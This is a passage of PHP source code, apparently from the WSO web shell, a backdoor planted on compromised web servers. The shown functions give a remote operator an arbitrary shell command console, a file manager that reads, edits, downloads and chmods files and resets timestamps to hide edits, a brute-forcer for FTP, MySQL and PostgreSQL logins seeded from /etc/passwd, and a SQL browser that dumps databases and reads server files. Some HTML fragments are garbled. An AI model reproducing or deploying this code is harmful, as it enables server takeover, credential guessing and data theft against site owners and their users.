  642.   elseif(@is_dir($GLOBALS['cwd'] . $dirContent[$i]))
  643.    $dirs[] = array_merge($tmp, array('type' => 'dir'));
  644.  }
  645.  $GLOBALS['sort'] = $sort;
  646.  function wsoCmp($a, $b) {
  647.   if($GLOBALS['sort'][0] != 'size')
  648.    return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
  649.   else
  650.    return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
  651.  }
  652.  usort($files, "wsoCmp");
  653.  usort($dirs, "wsoCmp");
  654.  $files = array_merge($dirs, $files);
  655.  $l = 0;
  656.  foreach($files as $f) {
  657.    echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a   'view')">'.htmlspecialchars($f['name']):'g('FilesMan',''.$f['path'].'');" ' . (empty ($f['link']) ? '' : "title='{$f['link']}'") . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>').'</a></td><td>'.(($f['type']=='file')?wsoViewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a  >'.$f['perms']
  658.    .'</td><td><a href="#"  'rename')">R</a> <a href="#"  'touch')">T</a>'.(($f['type']=='file')?' <a href="#"  'edit')">E</a> <a href="#"  'download')">D</a>':'').'</td></tr>';
  659.   $l = $l?0:1;
  660.  }
  661.  echo "<tr><td colspan=7>
  662.  <input type=hidden name=a value='FilesMan'>
  663.  <input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'>
  664.  <input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'')."'>
  665.  <select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
  666.     if(class_exists('ZipArchive'))
  667.         echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";
  668.     echo "<option value='tar'>Compress (tar.gz)</option>";
  669.     if(!empty($_COOKIE['act']) && @count($_COOKIE['f']))
  670.         echo "<option value='paste'>Paste / Compress</option>";
  671.     echo "</select> ";
  672.     if(!empty($_COOKIE['act']) && @count($_COOKIE['f']) && (($_COOKIE['act'] == 'zip') || ($_COOKIE['act'] == 'tar')))
  673.         echo "file name: <input type=text name=p2 value='wso_" . date("Ymd_His") . "." . ($_COOKIE['act'] == 'zip'?'zip':'tar.gz') . "'> ";
  674.     echo "></td></tr></form></table></div>";
  675.  wsoFooter();
  676. }
  677.  
  678. function actionStringTools() {
  679.  if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
  680.     if(!function_exists('binhex')) {function binhex($p) {return dechex(bindec($p));}}
  681.  if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
  682.  if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= sprintf('X',ord($p[$i]));return strtoupper($r);}}
  683.  if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
  684.  $stringTools = array(
  685.   'Base64 encode' => 'base64_encode',
  686.   'Base64 decode' => 'base64_decode',
  687.   'Url encode' => 'urlencode',
  688.   'Url decode' => 'urldecode',
  689.   'Full urlencode' => 'full_urlencode',
  690.   'md5 hash' => 'md5',
  691.   'sha1 hash' => 'sha1',
  692.   'crypt' => 'crypt',
  693.   'CRC32' => 'crc32',
  694.   'ASCII to HEX' => 'ascii2hex',
  695.   'HEX to ASCII' => 'hex2ascii',
  696.   'HEX to DEC' => 'hexdec',
  697.   'HEX to BIN' => 'hex2bin',
  698.   'DEC to HEX' => 'dechex',
  699.   'DEC to BIN' => 'decbin',
  700.   'BIN to HEX' => 'binhex',
  701.   'BIN to DEC' => 'bindec',
  702.   'String to lower case' => 'strtolower',
  703.   'String to upper case' => 'strtoupper',
  704.   'Htmlspecialchars' => 'htmlspecialchars',
  705.   'String length' => 'strlen',
  706.  );
  707.  if(isset($_POST['ajax'])) {
  708.   WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', true);
  709.   ob_start();
  710.   if(in_array($_POST['p1'], $stringTools))
  711.    echo $_POST['p1']($_POST['p2']);
  712.   $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput')[removed]='".addcslashes(htmlspecialchars(ob_get_clean()),"nrt\'�")."';n";
  713.   echo strlen($temp), "n", $temp;
  714.   exit;
  715.  }
  716.     if(empty($_POST['ajax'])&&!empty($_POST['p1']))
  717.   WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', 0);
  718.  wsoHeader();
  719.  echo '<h1>String conversions</h1><div class=content>';
  720.  echo "<form name='toolsForm'  return false;'><select name='selectTool'>";
  721.  foreach($stringTools as $k => $v)
  722.   echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
  723.   echo "</select>> <input type=checkbox name=ajax value=1 ".(@$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input'  class=bigarea>".(empty($_POST['p1'])?'':htmlspecialchars(@$_POST['p2']))."</textarea></form><pre class='ml1'  id='strOutput'>";
  724.  if(!empty($_POST['p1'])) {
  725.   if(in_array($_POST['p1'], $stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2']));
  726.  }
  727.  echo"</pre></div><br><h1>Search files:</h1><div class=content>
  728.   <form  false;"><table cellpadding='1' cellspacing='0' width='50%'>
  729.    <tr><td width='1%'>Text:</td><td><input type='text' name='text' ></td></tr>
  730.    <tr><td>Path:</td><td><input type='text' name='cwd' value='". htmlspecialchars($GLOBALS['cwd']) ."' ></td></tr>
  731.    <tr><td>Name:</td><td><input type='text' name='filename' value='*' ></td></tr>
  732.    <tr><td></td><td>></td></tr>
  733.    </table></form>";
  734.  
  735.  function wsoRecursiveGlob($path) {
  736.   if(substr($path, -1) != '/')
  737.    $path.='/';
  738.   $paths = @array_unique(@array_merge(@glob($path.$_POST['p3']), @glob($path.'*', GLOB_ONLYDIR)));
  739.   if(is_array($paths)&&@count($paths)) {
  740.    foreach($paths as $item) {
  741.     if(@is_dir($item)){
  742.      if($path!=$item)
  743.       wsoRecursiveGlob($item);
  744.     } else {
  745.      if(empty($_POST['p2']) || @strpos(file_get_contents($item), $_POST['p2'])!==false)
  746.       echo "<a href='#' null,"".urlencode($item)."", "view","")'>".htmlspecialchars($item)."</a><br>";
  747.     }
  748.    }
  749.   }
  750.  }
  751.  if(@$_POST['p3'])
  752.   wsoRecursiveGlob($_POST['c']);
  753.  echo "</div><br><h1>Search for hash:</h1><div class=content>
  754.   <form method='post' target='_blank' name='hf'>
  755.    <input type='text' name='hash' ><br>
  756.             <input type='hidden' name='act' value='find'/>
  757.    <input type='button' value='hashcracking.ru' ><br>
  758.    ><br>
  759.             <input type='button' value='crackfor.me' ><br>
  760.   </form></div>";
  761.  wsoFooter();
  762. }
  763.  
  764. function actionFilesTools() {
  765.  if( isset($_POST['p1']) )
  766.   $_POST['p1'] = urldecode($_POST['p1']);
  767.  if(@$_POST['p2']=='download') {
  768.   if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
  769.    ob_start("ob_gzhandler", 4096);
  770.    header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
  771.    if (function_exists("mime_content_type")) {
  772.     $type = @mime_content_type($_POST['p1']);
  773.     header("Content-Type: " . $type);
  774.    } else
  775.                 header("Content-Type: application/octet-stream");
  776.    $fp = @fopen($_POST['p1'], "r");
  777.    if($fp) {
  778.     while(!@feof($fp))
  779.      echo @fread($fp, 1024);
  780.     fclose($fp);
  781.    }
  782.   }exit;
  783.  }
  784.  if( @$_POST['p2'] == 'mkfile' ) {
  785.   if(!file_exists($_POST['p1'])) {
  786.    $fp = @fopen($_POST['p1'], 'w');
  787.    if($fp) {
  788.     $_POST['p2'] = "edit";
  789.     fclose($fp);
  790.    }
  791.   }
  792.  }
  793.  wsoHeader();
  794.  echo '<h1>File tools</h1><div class=content>';
  795.  if( !file_exists(@$_POST['p1']) ) {
  796.   echo 'File not exists';
  797.   wsoFooter();
  798.   return;
  799.  }
  800.  $uid = @posix_getpwuid(@fileowner($_POST['p1']));
  801.  if(!$uid) {
  802.   $uid['name'] = @fileowner($_POST['p1']);
  803.   $gid['name'] = @filegroup($_POST['p1']);
  804.  } else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
  805.  echo '<span>Name:</span> '.htmlspecialchars(@basename($_POST['p1'])).' <span>Size:</span> '.(is_file($_POST['p1'])?wsoViewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.wsoPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
  806.  echo '<span>Change time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
  807.  if( empty($_POST['p2']) )
  808.   $_POST['p2'] = 'view';
  809.  if( is_file($_POST['p1']) )
  810.   $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
  811.  else
  812.   $m = array('Chmod', 'Rename', 'Touch');
  813.  foreach($m as $v)
  814.   echo '<a   . urlencode($_POST['p1']) . '',''.strtolower($v).'')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
  815.  echo '<br><br>';
  816.  switch($_POST['p2']) {
  817.   case 'view':
  818.    echo '<pre class=ml1>';
  819.    $fp = @fopen($_POST['p1'], 'r');
  820.    if($fp) {
  821.     while( !@feof($fp) )
  822.      echo htmlspecialchars(@fread($fp, 1024));
  823.     @fclose($fp);
  824.    }
  825.    echo '</pre>';
  826.    break;
  827.   case 'highlight':
  828.    if( @is_readable($_POST['p1']) ) {
  829.     echo '<div class=ml1  #e1e1e1;color:black;">';
  830.     $code = @highlight_file($_POST['p1'],true);
  831.     echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
  832.    }
  833.    break;
  834.   case 'chmod':
  835.    if( !empty($_POST['p3']) ) {
  836.     $perms = 0;
  837.     for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
  838.      $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
  839.     if(!@chmod($_POST['p1'], $perms))
  840.      echo 'Can't set permissions!<br>[removed]document.mf.p3.value="";[removed]';
  841.    }
  842.    clearstatcache();
  843.    echo '[removed]p3_="";[removed]<form  . urlencode($_POST['p1']) . '',null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'">></form>';
  844.    break;
  845.   case 'edit':
  846.    if( !is_writable($_POST['p1'])) {
  847.     echo 'File isn't writeable';
  848.     break;
  849.    }
  850.    if( !empty($_POST['p3']) ) {
  851.     $time = @filemtime($_POST['p1']);
  852.     $_POST['p3'] = substr($_POST['p3'],1);
  853.     $fp = @fopen($_POST['p1'],"w");
  854.     if($fp) {
  855.      @fwrite($fp,$_POST['p3']);
  856.      @fclose($fp);
  857.      echo 'Saved!<br>[removed]p3_="";[removed]';
  858.      @touch($_POST['p1'],$time,$time);
  859.     }
  860.    }
  861.    echo '<form  . urlencode($_POST['p1']) . '',null,'1'+this.text.value);return false;"><textarea name=text class=bigarea>';
  862.    $fp = @fopen($_POST['p1'], 'r');
  863.    if($fp) {
  864.     while( !@feof($fp) )
  865.      echo htmlspecialchars(@fread($fp, 1024));
  866.     @fclose($fp);
  867.    }
  868.    echo '</textarea>></form>';
  869.    break;
  870.   case 'hexdump':
  871.    $c = @file_get_contents($_POST['p1']);
  872.    $n = 0;
  873.    $h = array('00000000<br>','','');
  874.    $len = strlen($c);
  875.    for ($i=0; $i<$len; ++$i) {
  876.     $h[1] .= sprintf('X',ord($c[$i])).' ';
  877.     switch ( ord($c[$i]) ) {
  878.      case 0:  $h[2] .= ' '; break;
  879.      case 9:  $h[2] .= ' '; break;
  880.      case 10: $h[2] .= ' '; break;
  881.      case 13: $h[2] .= ' '; break;
  882.      default: $h[2] .= $c[$i]; break;
  883.     }
  884.     $n++;
  885.     if ($n == 32) {
  886.      $n = 0;
  887.      if ($i+1 < $len) {$h[0] .= sprintf('X',$i+1).'<br>';}
  888.      $h[1] .= '<br>';
  889.      $h[2] .= "n";
  890.     }
  891.     }
  892.    echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span  normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
  893.    break;
  894.   case 'rename':
  895.    if( !empty($_POST['p3']) ) {
  896.     if(!@rename($_POST['p1'], $_POST['p3']))
  897.      echo 'Can't rename!<br>';
  898.     else
  899.      die('[removed]g(null,null,"'.urlencode($_POST['p3']).'",null,"")[removed]');
  900.    }
  901.    echo '<form  . urlencode($_POST['p1']) . '',null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'">></form>';
  902.    break;
  903.   case 'touch':
  904.    if( !empty($_POST['p3']) ) {
  905.     $time = strtotime($_POST['p3']);
  906.     if($time) {
  907.      if(!touch($_POST['p1'],$time,$time))
  908.       echo 'Fail!';
  909.      else
  910.       echo 'Touched!';
  911.     } else echo 'Bad time format!';
  912.    }
  913.    clearstatcache();
  914.    echo '[removed]p3_="";[removed]<form  . urlencode($_POST['p1']) . '',null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'">></form>';
  915.    break;
  916.  }
  917.  echo '</div>';
  918.  wsoFooter();
  919. }
  920.  
  921. function actionConsole() {
  922.     if(!empty($_POST['p1']) && !empty($_POST['p2'])) {
  923.         WSOsetcookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out', true);
  924.         $_POST['p1'] .= ' 2>&1';
  925.     } elseif(!empty($_POST['p1']))
  926.         WSOsetcookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out', 0);
  927.  
  928.  if(isset($_POST['ajax'])) {
  929.   WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', true);
  930.   ob_start();
  931.   echo "d.cf.cmd.value='';n";
  932.   $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("n$ ".$_POST['p1']."n".wsoEx($_POST['p1']),"nrt'�"));
  933.   if(preg_match("!.*cds+([^;]+)$!",$_POST['p1'],$match)) {
  934.    if(@chdir($match[1])) {
  935.     $GLOBALS['cwd'] = @getcwd();
  936.     echo "c_='".$GLOBALS['cwd']."';";
  937.    }
  938.   }
  939.   echo "d.cf.output.value+='".$temp."';";
  940.   echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
  941.   $temp = ob_get_clean();
  942.   echo strlen($temp), "n", $temp;
  943.   exit;
  944.  }
  945.     if(empty($_POST['ajax'])&&!empty($_POST['p1']))
  946.   WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', 0);
  947.  wsoHeader();
  948.     echo "[removed]
  949. if(window.Event) window.captureEvents(Event.KEYDOWN);
  950. var cmds = new Array('');
  951. var cur = 0;
  952. function kp(e) {
  953.  var n = (window.Event) ? e.which : e.keyCode;
  954.  if(n == 38) {
  955.   cur--;
  956.   if(cur>=0)
  957.    document.cf.cmd.value = cmds[cur];
  958.   else
  959.    cur++;
  960.  } else if(n == 40) {
  961.   cur++;
  962.   if(cur < cmds.length)
  963.    document.cf.cmd.value = cmds[cur];
  964.   else
  965.    cur--;
  966.  }
  967. }
  968. function add(cmd) {
  969.  cmds.pop();
  970.  cmds.push(cmd);
  971.  cmds.push('');
  972.  cur = cmds.length-1;
  973. }
  974. [removed]";
  975.   echo '<h1>Console</h1><div class=content><form name=cf  false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:'');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:'');} return false;"><select name=alias>';
  976.  foreach($GLOBALS['aliases'] as $n => $v) {
  977.   if($v == '') {
  978.    echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
  979.    continue;
  980.   }
  981.   echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
  982.  }
  983.  
  984.  echo '</select>> <nobr><input type=checkbox name=ajax value=1 '.(@$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX <input type=checkbox name=show_errors value=1 '.(!empty($_POST['p2'])||$_COOKIE[md5($_SERVER['HTTP_HOST']).'stderr_to_out']?'checked':'').'> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output  readonly>';
  985.  if(!empty($_POST['p1'])) {
  986.   echo htmlspecialchars("$ ".$_POST['p1']."n".wsoEx($_POST['p1']));
  987.  }
  988.  echo '</textarea><table  solid #df5;background-color:#555;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd  ></td></tr></table>';
  989.  echo '</form></div>[removed]d.cf.cmd.focus();[removed]';
  990.  wsoFooter();
  991. }
  992.  
  993. function actionLogout() {
  994.     setcookie(md5($_SERVER['HTTP_HOST']), '', time() - 3600);
  995.  die('bye!');
  996. }
  997.  
  998. function actionSelfRemove() {
  999.  
  1000.  if($_POST['p1'] == 'yes')
  1001.   if(@unlink(preg_replace('!(d+)s.*!', '', __FILE__)))
  1002.    die('Shell has been removed');
  1003.   else
  1004.    echo 'unlink error!';
  1005.     if($_POST['p1'] != 'yes')
  1006.         wsoHeader();
  1007.  echo '<h >Suicide</h1><div class=content>Really want to remove the shell?<br><a  >Yes</a></div>';
  1008.  wsoFooter();
  1009. }
  1010.  
  1011. function actionBruteforce() {
  1012.  wsoHeader();
  1013.  if( isset($_POST['proto']) ) {
  1014.   echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>';
  1015.   if( $_POST['proto'] == 'ftp' ) {
  1016.    function wsoBruteForce($ip,$port,$login,$pass) {
  1017.     $fp = @ftp_connect($ip, $port?$port:21);
  1018.     if(!$fp) return false;
  1019.     $res = @ftp_login($fp, $login, $pass);
  1020.     @ftp_close($fp);
  1021.     return $res;
  1022.    }
  1023.   } elseif( $_POST['proto'] == 'mysql' ) {
  1024.    function wsoBruteForce($ip,$port,$login,$pass) {
  1025.     $res = @mysql_connect($ip.':'.($port?$port:3306), $login, $pass);
  1026.     @mysql_close($res);
  1027.     return $res;
  1028.    }
  1029.   } elseif( $_POST['proto'] == 'pgsql' ) {
  1030.    function wsoBruteForce($ip,$port,$login,$pass) {
  1031.     $str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=postgres";
  1032.     $res = @pg_connect($str);
  1033.     @pg_close($res);
  1034.     return $res;
  1035.    }
  1036.   }
  1037.   $success = 0;
  1038.   $attempts = 0;
  1039.   $server = explode(":", $_POST['server']);
  1040.   if($_POST['type'] == 1) {
  1041.    $temp = @file('/etc/passwd');
  1042.    if( is_array($temp) )
  1043.     foreach($temp as $line) {
  1044.      $line = explode(":", $line);
  1045.      ++$attempts;
  1046.      if( wsoBruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
  1047.       $success++;
  1048.       echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';
  1049.      }
  1050.      if(@$_POST['reverse']) {
  1051.       $tmp = "";
  1052.       for($i=strlen($line[0])-1; $i>=0; --$i)
  1053.        $tmp .= $line[0][$i];
  1054.       ++$attempts;
  1055.       if( wsoBruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
  1056.        $success++;
  1057.        echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
  1058.       }
  1059.      }
  1060.     }
  1061.   } elseif($_POST['type'] == 2) {
  1062.    $temp = @file($_POST['dict']);
  1063.    if( is_array($temp) )
  1064.     foreach($temp as $line) {
  1065.      $line = trim($line);
  1066.      ++$attempts;
  1067.      if( wsoBruteForce($server[0],@$server[1], $_POST['login'], $line) ) {
  1068.       $success++;
  1069.       echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>';
  1070.      }
  1071.     }
  1072.   }
  1073.   echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
  1074.  }
  1075.  echo '<h1>Bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>'
  1076.   .'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>'
  1077.   .'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">'
  1078.   .'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">'
  1079.   .'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">'
  1080.   .'<span>Server:port</span></td>'
  1081.   .'<td><input type=text name=server value="127.0.0.1"></td></tr>'
  1082.   .'<tr><td><span>Brute type</span></td>'
  1083.   .'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>'
  1084.   .'<tr><td></td><td><label ><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>'
  1085.   .'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>'
  1086.   .'<tr><td></td><td><table ><tr><td><span>Login</span></td>'
  1087.   .'<td><input type=text name=login value="root"></td></tr>'
  1088.   .'<tr><td><span>Dictionary</span></td>'
  1089.   .'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>'
  1090.   .'</td></tr><tr><td></td><td>></td></tr></form></table>';
  1091.  echo '</div><br>';
  1092.  wsoFooter();
  1093. }
  1094.  
  1095. function actionSql() {
  1096.  class DbClass {
  1097.   var $type;
  1098.   var $link;
  1099.   var $res;
  1100.   function DbClass($type) {
  1101.    $this->type = $type;
  1102.   }
  1103.   function connect($host, $user, $pass, $dbname){
  1104.    switch($this->type) {
  1105.     case 'mysql':
  1106.      if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
  1107.      break;
  1108.     case 'pgsql':
  1109.      $host = explode(':', $host);
  1110.      if(!$host[1]) $host[1]=5432;
  1111.      if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
  1112.      break;
  1113.    }
  1114.    return false;
  1115.   }
  1116.   function selectdb($db) {
  1117.    switch($this->type) {
  1118.     case 'mysql':
  1119.      if (@mysql_select_db($db))return true;
  1120.      break;
  1121.    }
  1122.    return false;
  1123.   }
  1124.   function query($str) {
  1125.    switch($this->type) {
  1126.     case 'mysql':
  1127.      return $this->res = @mysql_query($str);
  1128.      break;
  1129.     case 'pgsql':
  1130.      return $this->res = @pg_query($this->link,$str);
  1131.      break;
  1132.    }
  1133.    return false;
  1134.   }
  1135.   function fetch() {
  1136.    $res = func_num_args()?func_get_arg(0):$this->res;
  1137.    switch($this->type) {
  1138.     case 'mysql':
  1139.      return @mysql_fetch_assoc($res);
  1140.      break;
  1141.     case 'pgsql':
  1142.      return @pg_fetch_assoc($res);
  1143.      break;
  1144.    }
  1145.    return false;
  1146.   }
  1147.   function listDbs() {
  1148.    switch($this->type) {
  1149.     case 'mysql':
  1150.                         return $this->query("SHOW databases");
  1151.     break;
  1152.     case 'pgsql':
  1153.      return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
  1154.     break;
  1155.    }
  1156.    return false;
  1157.   }
  1158.   function listTables() {
  1159.    switch($this->type) {
  1160.     case 'mysql':
  1161.      return $this->res = $this->query('SHOW TABLES');
  1162.     break;
  1163.     case 'pgsql':
  1164.      return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
  1165.     break;
  1166.    }
  1167.    return false;
  1168.   }
  1169.   function error() {
  1170.    switch($this->type) {
  1171.     case 'mysql':
  1172.      return @mysql_error();
  1173.     break;
  1174.     case 'pgsql':
  1175.      return @pg_last_error();
  1176.     break;
  1177.    }
  1178.    return false;
  1179.   }
  1180.   function setCharset($str) {
  1181.    switch($this->type) {
  1182.     case 'mysql':
  1183.      if(function_exists('mysql_set_charset'))
  1184.       return @mysql_set_charset($str, $this->link);
  1185.      else
  1186.       $this->query('SET CHARSET '.$str);
  1187.      break;
  1188.     case 'pgsql':
  1189.      return @pg_set_client_encoding($this->link, $str);
  1190.      break;
  1191.    }
  1192.    return false;
  1193.   }
  1194.   function loadFile($str) {
  1195.    switch($this->type) {
  1196.     case 'mysql':
  1197.      return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file"));
  1198.     break;
  1199.     case 'pgsql':
  1200.      $this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '".addslashes($str)."';select file from wso2;");
  1201.      $r=array();
  1202.      while($i=$this->fetch())
  1203.       $r[] = $i['file'];
  1204.      $this->query('drop table wso2');
  1205.      return array('file'=>implode("n",$r));
  1206.     break;
  1207.    }
  1208.    return false;
  1209.   }
  1210.   function dump($table, $fp = false) {
  1211.    switch($this->type) {
  1212.     case 'mysql':
  1213.      $res = $this->query('SHOW CREATE TABLE `'.$table.'`');
  1214.      $create = mysql_fetch_array($res);
  1215.      $sql = $create[1].";n";
  1216.                     if($fp) fwrite($fp, $sql); else echo($sql);
  1217.      $this->query('SELECT * FROM `'.$table.'`');
  1218.                     $i = 0;
  1219.                     $head = true;
  1220.      while($item = $this->fetch()) {
  1221.                         $sql = '';
  1222.                         if($i % 1000 == 0) {
  1223.                             $head = true;
  1224.                             $sql = ";nn";
  1225.                         }
  1226.  
  1227.       $columns = array();
  1228.       foreach($item as $k=>$v) {
  1229.                             if($v === null)
  1230.                                 $item[$k] = "NULL";
  1231.                             elseif(is_int($v))
  1232.                                 $item[$k] = $v;
  1233.                             else
  1234.                                 $item[$k] = "'".@mysql_real_escape_string($v)."'";
  1235.        $columns[] = "`".$k."`";
  1236.       }
  1237.                         if($head) {
  1238.                             $sql .= 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).") VALUES nt(".implode(", ", $item).')';
  1239.                             $head = false;
  1240.                         } else
  1241.                             $sql .= "nt,(".implode(", ", $item).')';
  1242.                         if($fp) fwrite($fp, $sql); else echo($sql);
  1243.                         $i++;
  1244.      }
  1245.                     if(!$head)
  1246.                         if($fp) fwrite($fp, ";nn"); else echo(";nn");
  1247.     break;
  1248.     case 'pgsql':
  1249.      $this->query('SELECT * FROM '.$table);
  1250.      while($item = $this->fetch()) {
  1251.       $columns = array();
  1252.       foreach($item as $k=>$v) {
  1253.        $item[$k] = "'".addslashes($v)."'";
  1254.        $columns[] = $k;
  1255.       }
  1256.                         $sql = 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."n";
  1257.                         if($fp) fwrite($fp, $sql); else echo($sql);
  1258.      }
  1259.     break;
  1260.    }
  1261.    return false;
  1262.   }
  1263.  };
  1264.  $db = new DbClass($_POST['type']);
  1265.  if((@$_POST['p2']=='download') && (@$_POST['p1']!='select')) {
  1266.   $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
  1267.   $db->selectdb($_POST['sql_base']);
  1268.         switch($_POST['charset']) {
  1269.             case "Windows-1251": $db->setCharset('cp1251'); break;
  1270.             case "UTF-8": $db->setCharset('utf8'); break;
  1271.             case "KOI8-R": $db->setCharset('koi8r'); break;
  1272.             case "KOI8-U": $db->setCharset('koi8u'); break;
  1273.             case "cp866": $db->setCharset('cp866'); break;
  1274.         }
  1275.         if(empty($_POST['file'])) {
  1276.             ob_start("ob_gzhandler", 4096);
  1277.             header("Content-Disposition: attachment; filename=dump.sql");
  1278.             header("Content-Type: text/plain");
  1279.             foreach($_POST['tbl'] as $v)
  1280.     $db->dump($v);
  1281.             exit;
  1282.         } elseif($fp = @fopen($_POST['file'], 'w')) {
  1283.             foreach($_POST['tbl'] as $v)
  1284.                 $db->dump($v, $fp);
  1285.             fclose($fp);
  1286.             unset($_POST['p2']);
  1287.         } else
  1288.             die('[removed]alert("Error! Can't open file");window.history.back(-1)[removed]');
  1289.  }
  1290.  wsoHeader();
  1291.  echo "
  1292. <h1>Sql browser</h1><div class=content>
  1293. <form name='sf' method='post' ><table cellpadding='2' cellspacing='0'><tr>
  1294. <td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
  1295. <input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='". htmlspecialchars($GLOBALS['cwd']) ."'><input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'') ."'>
  1296. <td><select name='type'><option value='mysql' ";
  1297.     if(@$_POST['type']=='mysql')echo 'selected';
  1298. echo ">MySql</option><option value='pgsql' ";
  1299. if(@$_POST['type']=='pgsql')echo 'selected';
  1300. echo ">PostgreSql</option></select></td>
  1301. <td><input type=text name=sql_host value="". (empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) .""></td>
  1302. <td><input type=text name=sql_login value="". (empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])) .""></td>
  1303. <td><input type=text name=sql_pass value="". (empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) .""></td><td>";
